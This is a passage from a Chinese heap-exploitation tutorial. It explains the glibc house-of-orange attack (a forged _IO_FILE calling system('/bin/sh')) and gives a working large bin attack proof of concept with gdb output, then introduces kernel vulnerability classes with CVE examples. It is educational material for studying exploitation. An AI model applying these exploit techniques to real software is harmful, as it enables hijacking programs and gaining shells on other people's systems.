,PREV_INUSE
标志位为 1,old_top+old_size
页对齐这几个条件。
首先分配一个大小为 0x400 的 chunk:
+gef➤ x/4gx p1-0x10
+0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1
+0x602010: 0x0000000000000000 0x0000000000000000
+gef➤ x/4gx p1-0x10+0x400
+0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk
+0x602410: 0x0000000000000000 0x0000000000000000
+
+默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。
+现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件:
+gef➤ x/4gx p1-0x10+0x400
+0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk
+0x602410: 0x0000000000000000 0x0000000000000000
+
+紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old_top 后面新建了一个 top chunk 用来存放 new_top,然后将 old_top 释放,即被添加到了 unsorted bin 中:
+gef➤ x/4gx p1-0x10+0x400
+0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed]
+0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+gef➤ x/4gx p1-0x10+0x400+0xbe0
+0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1
+0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2
+gef➤ x/4gx p2-0x10
+0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2
+0x623010: 0x0000000000000000 0x0000000000000000
+gef➤ x/4gx p2-0x10+0x1010
+0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
+0x624020: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602400, bk=0x602400
+ → Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)
+
+于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的:
++---------------+
+| p1 |
++---------------+
+| old top-0x20 |
++---------------+
+| fencepost 1 |
++---------------+
+| fencepost 2 |
++---------------+
+| ... |
++---------------+
+| p2 |
++---------------+
+| new top |
++---------------+
+
+详细过程如下:
+ if (old_size != 0)
+ {
+ /*
+ Shrink old_top to insert fenceposts, keeping size a
+ multiple of MALLOC_ALIGNMENT. We know there is at least
+ enough space in old_top to do this.
+ */
+ old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
+ set_head (old_top, old_size | PREV_INUSE);
+
+ /*
+ Note that the following assignments completely overwrite
+ old_top when old_size was previously MINSIZE. This is
+ intentional. We need the fencepost, even if old_top otherwise gets
+ lost.
+ */
+ chunk_at_offset (old_top, old_size)->size =
+ (2 * SIZE_SZ) | PREV_INUSE;
+
+ chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
+ (2 * SIZE_SZ) | PREV_INUSE;
+
+ /* If possible, release the rest. */
+ if (old_size >= MINSIZE)
+ {
+ _int_free (av, old_top, 1);
+ }
+ }
+
+根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 _IO_list_all
的地址。然后通过溢出将 old top 的 bk 改写为 _IO_list_all-0x10
,这样在进行 unsorted bin attack 时,就会将 _IO_list_all
修改为 &unsorted_bin-0x10
:
/* remove from unsorted list */
+ unsorted_chunks (av)->bk = bck;
+ bck->fd = unsorted_chunks (av);
+gef➤ x/4gx p1-0x10+0x400
+0x602400: 0x0000000000000000 0x0000000000000be1
+0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
+
+这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 malloc_printerr()
打印出错信息,我们顺着代码一直跟踪下去:
static void
+malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
+{
+ [...]
+ if ((action & 5) == 5)
+ __libc_message (action & 2, "%s\n", str);
+ else if (action & 1)
+ {
+ char buf[2 * sizeof (uintptr_t) + 1];
+
+ buf[sizeof (buf) - 1] = '\0';
+ char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
+ while (cp > buf)
+ *--cp = '0';
+
+ __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
+ __libc_argv[0] ? : "<unknown>", str, cp);
+ }
+ else if (action & 2)
+ abort ();
+}
+
+调用 __libc_message
:
// sysdeps/posix/libc_fatal.c
+/* Abort with an error message. */
+void
+__libc_message (int do_abort, const char *fmt, ...)
+{
+ [...]
+ if (do_abort)
+ {
+ BEFORE_ABORT (do_abort, written, fd);
+
+ /* Kill the application. */
+ abort ();
+ }
+}
+
+do_abort
调用 fflush
,即 _IO_flush_all_lockp
:
// stdlib/abort.c
+#define fflush(s) _IO_flush_all_lockp (0)
+
+ if (stage == 1)
+ {
+ ++stage;
+ fflush (NULL);
+ }
+// libio/genops.c
+int
+_IO_flush_all_lockp (int do_lock)
+{
+ int result = 0;
+ struct _IO_FILE *fp;
+ int last_stamp;
+
+#ifdef _IO_MTSAFE_IO
+ __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
+ if (do_lock)
+ _IO_lock_lock (list_all_lock);
+#endif
+
+ last_stamp = _IO_list_all_stamp;
+ fp = (_IO_FILE *) _IO_list_all; // 将其覆盖
+ while (fp != NULL)
+ {
+ run_fp = fp;
+ if (do_lock)
+ _IO_flockfile (fp);
+
+ if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
+#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
+ || (_IO_vtable_offset (fp) == 0
+ && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
+ > fp->_wide_data->_IO_write_base))
+#endif
+ )
+ && _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
+ result = EOF;
+
+ if (do_lock)
+ _IO_funlockfile (fp);
+ run_fp = NULL;
+
+ if (last_stamp != _IO_list_all_stamp)
+ {
+ /* Something was added to the list. Start all over again. */
+ fp = (_IO_FILE *) _IO_list_all;
+ last_stamp = _IO_list_all_stamp;
+ }
+ else
+ fp = fp->_chain; // 指向我们指定的区域
+ }
+
+#ifdef _IO_MTSAFE_IO
+ if (do_lock)
+ _IO_lock_unlock (list_all_lock);
+ __libc_cleanup_region_end (0);
+#endif
+
+ return result;
+}
+
+_IO_list_all
是一个 _IO_FILE_plus
类型的对象,我们的目的就是将 _IO_list_all
指针改写为一个伪造的指针,它的 _IO_OVERFLOW
指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 _IO_OVERFLOW(fp, EOF)
的调用最终会变成对 system('/bin/sh')
的调用。
// libio/libioP.h
+/* We always allocate an extra word following an _IO_FILE.
+ This contains a pointer to the function jump table used.
+ This is for compatibility with C++ streambuf; the word can
+ be used to smash to a pointer to a virtual function table. */
+
+struct _IO_FILE_plus
+{
+ _IO_FILE file;
+ const struct _IO_jump_t *vtable;
+};
+
+// libio/libio.h
+struct _IO_FILE {
+ int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
+#define _IO_file_flags _flags
+
+ /* The following pointers correspond to the C++ streambuf protocol. */
+ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
+ char* _IO_read_ptr; /* Current read pointer */
+ char* _IO_read_end; /* End of get area. */
+ char* _IO_read_base; /* Start of putback+get area. */
+ char* _IO_write_base; /* Start of put area. */
+ char* _IO_write_ptr; /* Current put pointer. */
+ char* _IO_write_end; /* End of put area. */
+ char* _IO_buf_base; /* Start of reserve area. */
+ char* _IO_buf_end; /* End of reserve area. */
+ /* The following fields are used to support backing up and undo. */
+ char *_IO_save_base; /* Pointer to start of non-current get area. */
+ char *_IO_backup_base; /* Pointer to first valid character of backup area */
+ char *_IO_save_end; /* Pointer to end of non-current get area. */
+
+ struct _IO_marker *_markers;
+
+ struct _IO_FILE *_chain;
+
+ int _fileno;
+#if 0
+ int _blksize;
+#else
+ int _flags2;
+#endif
+ _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
+
+#define __HAVE_COLUMN /* temporary */
+ /* 1+column number of pbase(); 0 is unknown. */
+ unsigned short _cur_column;
+ signed char _vtable_offset;
+ char _shortbuf[1];
+
+ /* char* _save_gptr; char* _save_egptr; */
+
+ _IO_lock_t *_lock;
+#ifdef _IO_USE_OLD_IO_FILE
+};
+
+其中有一个指向函数跳转表的指针,_IO_jump_t
的结构如下:
// libio/libioP.h
+struct _IO_jump_t
+{
+ JUMP_FIELD(size_t, __dummy);
+ JUMP_FIELD(size_t, __dummy2);
+ JUMP_FIELD(_IO_finish_t, __finish);
+ JUMP_FIELD(_IO_overflow_t, __overflow);
+ JUMP_FIELD(_IO_underflow_t, __underflow);
+ JUMP_FIELD(_IO_underflow_t, __uflow);
+ JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
+ /* showmany */
+ JUMP_FIELD(_IO_xsputn_t, __xsputn);
+ JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
+ JUMP_FIELD(_IO_seekoff_t, __seekoff);
+ JUMP_FIELD(_IO_seekpos_t, __seekpos);
+ JUMP_FIELD(_IO_setbuf_t, __setbuf);
+ JUMP_FIELD(_IO_sync_t, __sync);
+ JUMP_FIELD(_IO_doallocate_t, __doallocate);
+ JUMP_FIELD(_IO_read_t, __read);
+ JUMP_FIELD(_IO_write_t, __write);
+ JUMP_FIELD(_IO_seek_t, __seek);
+ JUMP_FIELD(_IO_close_t, __close);
+ JUMP_FIELD(_IO_stat_t, __stat);
+ JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
+ JUMP_FIELD(_IO_imbue_t, __imbue);
+#if 0
+ get_column;
+ set_column;
+#endif
+};
+
+伪造 _IO_jump_t
中的 __overflow
为 system 函数的地址,从而达到执行 shell 的目的。
当发生内存错误进入 _IO_flush_all_lockp
后,_IO_list_all
仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 fp->_chain
来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 _IO_list_all
是 &unsorted_bin-0x10
,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 _IO_FILE
结构中,偏移 0x60 指向 struct _IO_marker *_markers
,偏移 0x68 指向 struct _IO_FILE *_chain
,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。
在将 _IO_OVERFLOW
修改为 system 的时候,有一些条件检查:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
+#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
+ || (_IO_vtable_offset (fp) == 0
+ && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
+ > fp->_wide_data->_IO_write_base))
+#endif
+ )
+ && _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
+// libio/libio.h
+
+ struct _IO_wide_data *_wide_data;
+
+/* Extra data for wide character streams. */
+struct _IO_wide_data
+{
+ wchar_t *_IO_read_ptr; /* Current read pointer */
+ wchar_t *_IO_read_end; /* End of get area. */
+ wchar_t *_IO_read_base; /* Start of putback+get area. */
+ wchar_t *_IO_write_base; /* Start of put area. */
+ wchar_t *_IO_write_ptr; /* Current put pointer. */
+ wchar_t *_IO_write_end; /* End of put area. */
+ wchar_t *_IO_buf_base; /* Start of reserve area. */
+ wchar_t *_IO_buf_end; /* End of reserve area. */
+ /* The following fields are used to support backing up and undo. */
+ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
+ wchar_t *_IO_backup_base; /* Pointer to first valid character of
+ backup area */
+ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
+
+ __mbstate_t _IO_state;
+ __mbstate_t _IO_last_state;
+ struct _IO_codecvt _codecvt;
+
+ wchar_t _shortbuf[1];
+
+ const struct _IO_jump_t *_wide_vtable;
+};
+
+所以这里我们设置 fp->_mode = 0
,fp->_IO_write_base = (char *) 2
和 fp->_IO_write_ptr = (char *) 3
,从而绕过检查。
然后,就是修改 _IO_jump_t
,将其指向 winner:
gef➤ x/30gx p1-0x10+0x400
+0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top
+0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10
+0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr
+0x602430: 0x0000000000000000 0x0000000000000000
+0x602440: 0x0000000000000000 0x0000000000000000
+0x602450: 0x0000000000000000 0x0000000000000000
+0x602460: 0x0000000000000000 0x0000000000000000
+0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner
+0x602480: 0x0000000000000000 0x0000000000000000
+0x602490: 0x0000000000000000 0x0000000000000000
+0x6024a0: 0x0000000000000000 0x0000000000000000
+0x6024b0: 0x0000000000000000 0x0000000000000000
+0x6024c0: 0x0000000000000000 0x0000000000000000
+0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable
+0x6024e0: 0x0000000000000000 0x0000000000000000
+gef➤ p *((struct _IO_FILE_plus *) 0x602400)
+$1 = {
+ file = {
+ _flags = 0x6e69622f,
+ _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
+ _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
+ _IO_read_base = 0x7ffff7dd2510 "",
+ _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
+ _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
+ _IO_write_end = 0x0,
+ _IO_buf_base = 0x0,
+ _IO_buf_end = 0x0,
+ _IO_save_base = 0x0,
+ _IO_backup_base = 0x0,
+ _IO_save_end = 0x0,
+ _markers = 0x0,
+ _chain = 0x0,
+ _fileno = 0x0,
+ _flags2 = 0x0,
+ _old_offset = 0x4006d3,
+ _cur_column = 0x0,
+ _vtable_offset = 0x0,
+ _shortbuf = "",
+ _lock = 0x0,
+ _offset = 0x0,
+ _codecvt = 0x0,
+ _wide_data = 0x0,
+ _freeres_list = 0x0,
+ _freeres_buf = 0x0,
+ __pad5 = 0x0,
+ _mode = 0x0,
+ _unused2 = '\000' <repeats 19 times>
+ },
+ vtable = 0x602460
+}
+
+最后随意分配一个 chunk,由于 size<= 2*SIZE_SZ
,所以会触发 _IO_flush_all_lockp
中的 _IO_OVERFLOW
函数,获得 shell。
for (;; )
+ {
+ int iters = 0;
+ while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
+ {
+ bck = victim->bk;
+ if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
+ || __builtin_expect (victim->size > av->system_mem, 0))
+ malloc_printerr (check_action, "malloc(): memory corruption",
+ chunk2mem (victim), av);
+ size = chunksize (victim);
+
+到此,how2heap 里全部的堆利用方法就全部讲完了。
+#include<stdio.h>
+#include<stdlib.h>
+
+int main() {
+ unsigned long stack_var1 = 0;
+ unsigned long stack_var2 = 0;
+
+ fprintf(stderr, "The targets we want to rewrite on stack:\n");
+ fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
+ fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
+
+ unsigned long *p1 = malloc(0x100);
+ fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
+ malloc(0x10);
+
+ unsigned long *p2 = malloc(0x400);
+ fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
+ malloc(0x10);
+
+ unsigned long *p3 = malloc(0x400);
+ fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
+ malloc(0x10);
+
+ // deal with tcache - libc-2.26
+ // int *a[10], *b[10], i;
+ // for (i = 0; i < 7; i++) {
+ // a[i] = malloc(0x100);
+ // b[i] = malloc(0x400);
+ // }
+ // for (i = 0; i < 7; i++) {
+ // free(a[i]);
+ // free(b[i]);
+ // }
+
+ free(p1);
+ free(p2);
+ fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
+
+ malloc(0x30);
+ fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
+
+ p2[-1] = 0x3f1;
+ p2[0] = 0;
+ p2[2] = 0;
+ p2[1] = (unsigned long)(&stack_var1 - 2);
+ p2[3] = (unsigned long)(&stack_var2 - 4);
+ fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
+
+ free(p3);
+ malloc(0x30);
+ fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
+ fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
+ fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
+}
+$ gcc -g large_bin_attack.c
+$ ./a.out
+The targets we want to rewrite on stack:
+stack_var1 (0x7fffffffdeb0): 0
+stack_var2 (0x7fffffffdeb8): 0
+
+Now, we allocate the first chunk: 0x555555757000
+Then, we allocate the second chunk(large chunk): 0x555555757130
+Finally, we allocate the third chunk(large chunk): 0x555555757560
+
+Now, We free the first and the second chunks now and they will be inserted in the unsorted bin
+Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist
+
+Now we use a vulnerability to overwrite the freed second chunk
+
+Finally, we free the third chunk and malloc again, targets should have already been rewritten:
+stack_var1 (0x7fffffffdeb0): 0x555555757560
+stack_var2 (0x7fffffffdeb8): 0x555555757560
+
+该技术可用于修改任意地址的值,例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。
+首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下:
+gef➤ x/2gx &stack_var1
+0x7fffffffde70: 0x0000000000000000 0x0000000000000000
+gef➤ x/4gx p1-2
+0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1
+0x555555757010: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx p2-6
+0x555555757110: 0x0000000000000000 0x0000000000000021
+0x555555757120: 0x0000000000000000 0x0000000000000000
+0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2
+0x555555757140: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx p3-6
+0x555555757540: 0x0000000000000000 0x0000000000000021
+0x555555757550: 0x0000000000000000 0x0000000000000000
+0x555555757560: 0x0000000000000000 0x0000000000000411 <-- p3
+0x555555757570: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx p3+(0x410/8)-2
+0x555555757970: 0x0000000000000000 0x0000000000000021
+0x555555757980: 0x0000000000000000 0x0000000000000000
+0x555555757990: 0x0000000000000000 0x0000000000020671 <-- top
+0x5555557579a0: 0x0000000000000000 0x0000000000000000
+
+然后依次释放掉 p1 和 p2,这两个 free chunk 将被放入 unsorted bin:
+gef➤ x/8gx p1-2
+0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1 [be freed]
+0x555555757010: 0x00007ffff7dd3b78 0x0000555555757130
+0x555555757020: 0x0000000000000000 0x0000000000000000
+0x555555757030: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx p2-2
+0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
+0x555555757140: 0x0000555555757000 0x00007ffff7dd3b78
+0x555555757150: 0x0000000000000000 0x0000000000000000
+0x555555757160: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000
+ → Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE) → Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE)
+[+] Found 2 chunks in unsorted bin.
+
+接下来随便 malloc 一个 chunk,则 p1 被切分为两块,一块作为分配的 chunk 返回,剩下的一块继续留在 unsorted bin(p1 的作用就在这里,如果没有 p1,那么切分的将是 p2)。而 p2 则被整理回对应的 large bin 链表中:
+gef➤ x/14gx p1-2
+0x555555757000: 0x0000000000000000 0x0000000000000041 <-- p1-1
+0x555555757010: 0x00007ffff7dd3c78 0x00007ffff7dd3c78
+0x555555757020: 0x0000000000000000 0x0000000000000000
+0x555555757030: 0x0000000000000000 0x0000000000000000
+0x555555757040: 0x0000000000000000 0x00000000000000d1 <-- p1-2 [be freed]
+0x555555757050: 0x00007ffff7dd3b78 0x00007ffff7dd3b78 <-- fd, bk
+0x555555757060: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx p2-2
+0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
+0x555555757140: 0x00007ffff7dd3f68 0x00007ffff7dd3f68 <-- fd, bk
+0x555555757150: 0x0000555555757130 0x0000555555757130 <-- fd_nextsize, bk_nextsize
+0x555555757160: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040
+ → Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE)
+[+] Found 1 chunks in unsorted bin.
+gef➤ heap bins large
+[ Large Bins for arena 'main_arena' ]
+[+] large_bins[63]: fw=0x555555757130, bk=0x555555757130
+ → Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 large non-empty bins.
+
+整理的过程如下所示,需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列,如果大小相同则按照最近使用顺序排列:
+ /* place chunk in bin */
+
+ if (in_smallbin_range (size))
+ {
+ [ ... ]
+ }
+ else
+ {
+ victim_index = largebin_index (size);
+ bck = bin_at (av, victim_index);
+ fwd = bck->fd;
+
+ /* maintain large bins in sorted order */
+ if (fwd != bck)
+ {
+ /* Or with inuse bit to speed comparisons */
+ size |= PREV_INUSE;
+ /* if smaller than smallest, bypass loop below */
+ assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
+ if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
+ {
+ [ ... ]
+ }
+ else
+ {
+ assert ((fwd->size & NON_MAIN_ARENA) == 0);
+ while ((unsigned long) size < fwd->size)
+ {
+ [ ... ]
+ }
+
+ if ((unsigned long) size == (unsigned long) fwd->size)
+ [ ... ]
+ else
+ {
+ victim->fd_nextsize = fwd;
+ victim->bk_nextsize = fwd->bk_nextsize;
+ fwd->bk_nextsize = victim;
+ victim->bk_nextsize->fd_nextsize = victim;
+ }
+ bck = fwd->bk;
+ }
+ }
+ else
+ [ ... ]
+ }
+
+ mark_bin (av, victim_index);
+ victim->bk = bck;
+ victim->fd = fwd;
+ fwd->bk = victim;
+ bck->fd = victim;
+
+假设我们有一个漏洞,可以对 large bin 里的 chunk p2 进行修改,结合上面的整理过程,我们伪造 p2 如下:
+gef➤ x/8gx p2-2
+0x555555757130: 0x0000000000000000 0x00000000000003f1 <-- fake p2 [be freed]
+0x555555757140: 0x0000000000000000 0x00007fffffffde60 <-- bk
+0x555555757150: 0x0000000000000000 0x00007fffffffde58 <-- bk_nextsize
+0x555555757160: 0x0000000000000000 0x0000000000000000
+
+同样的,释放 p3,将其放入 unsorted bin,紧接着进行 malloc 操作,将 p3 整理回 large bin,这个过程中判断条件 (unsigned long) (size) < (unsigned long) (bck->bk->size)
为假,程序将进入 else 分支,其中 fwd
是 fake p2,victim
是 p3,接着 bck
被赋值为 (&stack_var1 - 2)。
在 p3 被放回 large bin 并排序的过程中,我们位于栈上的两个变量也被修改成了 victim
,对应的语句分别是 bck->fd = victim;
和 ictim->bk_nextsize->fd_nextsize = victim;
。
gef➤ x/2gx &stack_var1
+0x7fffffffde70: 0x0000555555757560 0x0000555555757560
+gef➤ x/8gx p2-2
+0x555555757130: 0x0000000000000000 0x00000000000003f1
+0x555555757140: 0x0000000000000000 0x0000555555757560
+0x555555757150: 0x0000000000000000 0x0000555555757560
+0x555555757160: 0x0000000000000000 0x0000000000000000
+gef➤ x/8gx p3-2
+0x555555757560: 0x0000000000000000 0x0000000000000411
+0x555555757570: 0x0000555555757130 0x00007fffffffde60
+0x555555757580: 0x0000555555757130 0x00007fffffffde58
+0x555555757590: 0x0000000000000000 0x0000000000000000
+
+考虑 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,在 free 之前把两种大小的 tcache bin 都占满。
+企图 | +用户态漏洞利用 | +内核态漏洞利用 | +
---|---|---|
蛮力法利用漏洞 | +应用程序可以多次崩溃并重启(或自动重启) | +这将导致机器陷入不一致的状态,通常会导致死机或重启 | +
影响目标程序 | +攻击者对被攻击程序(特别是本地攻击)拥有更多的控制(例如攻击者可以设置被攻击程序的运行环境)。被攻击程序是它的库子系统的唯一使用者(例如内存分配表) | +攻击者需要和其他所有欲“影响”内核的应用程序竞争。所有的应用程序都是内核子系统的使用者 | +
执行 shellcode | +shellcode 可以利用已经通过安全和正确性保证的用户态门来进行内核系统调用 | +shellcode 在更高的权限级别上执行,并且必须在不惊动系统的情况下正确地返回到应用程序 | +
绕过反漏洞利用保护措施 | +这要求越来越复杂的方法 | +大部分保护措施在内核态,但并不能保护内核本身。攻击者甚至能禁用大部分保护措施 | +
这类漏洞涵盖了所有使用指针的情况,所指内容遭到破坏、没有被正确设置、或者是没有做足够的验证。
+我们知道一个静态声明的指针被初始化为 NULL,但其他情况下这些指针被明确地赋值之前,都是未初始化的,它的值是存放指针处的内存里的任意内容。例如下面这样,指针被存放在栈上,而它的内容是之前函数留在栈上的 "A" 字符串:
+#include <stdio.h>
+#include <string.h>
+
+void big_stack_usage() {
+ char big[0x100];
+ memset(big, 'A', 0x100);
+ printf("Big stack: %p ~ %p\n", big, big+0x100);
+}
+
+void ptr_un_initialized() {
+ char *p;
+ printf("Pointer value: %p => %p\n", &p, p);
+}
+
+int main() {
+ big_stack_usage();
+ ptr_un_initialized();
+}
+$ gcc -fno-stack-protector pointer.c
+$ ./a.out
+Big stack: 0x7fffd6b0e400 ~ 0x7fffd6b0e500
+Pointer value: 0x7fffd6b0e4f8 => 0x4141414141414141
+
+下面看一个真实的例子,来自 FreeBSD8.0:
+struct ucred ucred, *ucp; // [1]
+[...]
+ refcount_init(&ucred.cr_ref, 1);
+ ucred.cr_uid = ip->i_uid;
+ ucred.cr_ngroups = 1;
+ ucred.cr_groups[0] = dp->i_gid; // [2]
+ ucp = &ucred;
+
+[1] 处的 ucred
在栈上进行了声明,然后 cr_groups[0]
被赋值为 dp->i_gid
。遗憾的是,struct ucred
结构体的定义是这样的:
struct ucred {
+ u_int cr_ref; /* reference count */
+[...]
+ gid_t *cr_groups; /* groups */
+ int cr_agroups; /* Available groups */
+};
+
+我们看到 cr_groups
是一个指针,而且没有被初始化就直接使用。这也就意味着,dp->i_gid
的值在 ucred
被分配时被写入到栈上的任意地址。
继续看未经验证的指针,这往往发生在多用户的内核地址空间中。我们知道内核空间位于用户空间的上面,它的页表在所有进程的页表中都有备份。有些虚拟地址被选做限制地址,限定地址以上或以下的虚拟地址归内核使用,而其他的归用户空间使用。内核函数也就是使用这个限定地址来判断一个指针指向的是内核还是用户空间。如果是前者,则可能只需做少量的验证,但如果是后者,则要格外小心,否则一个用户空间的地址可能在不受控制的情况下被解引用。
+看一个 Linux 的例子,CVE-2008-0009:
+ error = get_user(base, &iov->iov_base); // [1]
+ [...]
+ if (unlikely(!base)) {
+ error = -EFAULT;
+ break;
+ }
+ [...]
+ sd.u.userptr = base; // [2]
+ [...]
+ size = __splice_from_pipe(pipe, &sd, pipe_to_user);
+[...]
+static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, struct splice_desc *sd)
+{
+ if (!fault_in_pages_writeable(sd->u.userptr, sd->len)) {
+ src = buf->ops->map(pipe, buf, 1);
+ ret = __copy_to_user_inatomic(sd->u.userptr, src + buf->offset, sd->len); // [3]
+ buf->ops->unmap(pipe, buf, src);
+[...]
+}
+
+代码的第一部分来自函数 vmsplice_to_user()
,在 [1] 处使用了 get_user()
获得了目的指针。该目的指针未经检查就默认它是一个用户地址指针,然后通过 [2] 传递给了 __splice_from_pipe()
,同时传递函数 pipe_to_user
作为 helper function。这个函数依然是未经检查就调用了 __copy_to_user_inatomic()
[3],对该指针做解引用的操作,如果攻击者传递的是一个内核地址,则利用该漏洞能够写入任意数据到任意的内核内存中。这里要知道的还有 Linux 中以两个下划线开头的函数(例如 __copy_to_user_inatomic()
)是不会对所提供的目的(或源)用户指针做任何检查的。
最后,一个被损坏的指针往往是其他漏洞的结果(例如缓冲区溢出),攻击者可以任意修改指针的内容,获得更多的控制权。
+这类漏洞是由于程序的错误操作重写了内核空间的内存(包括内核栈和内核堆)导致的。
+内核栈在每次进程进入到内核态时发挥作用。内核栈与用户栈基本相同,但也有一些细小的差别,例如它的大小通常是受限制的。另外,所有进程的内核栈都是一块相同的内核地址空间中的一部分,所以他们开始于不同的虚拟地址并且占据不同的虚拟地址空间。
+由于内核栈与用户栈的相似性,其发生漏洞的地方也大体相同,例如使用不安全的函数(strcpy()
, sprintf()
等),数组越界,缓冲区溢出等。
针对内核堆的漏洞往往是缓冲区溢出造成的。通过溢出,重写了溢出块后面的块,或者重写了缓存相关的元数据,都可能造成漏洞利用。
+整数溢出和符号转换错误是最常见的两种整数误用漏洞。这类漏洞往往不容易单独利用,但它可能会导致另外的一些漏洞(例如内存溢出)的发生。
+整数溢出发生在将一个超出整数数据存储范围的数赋值给一个整数变量。在不加控制的加法和乘法运算中如果堆参见运算的参数不加验证,也有可能发生整数溢出。
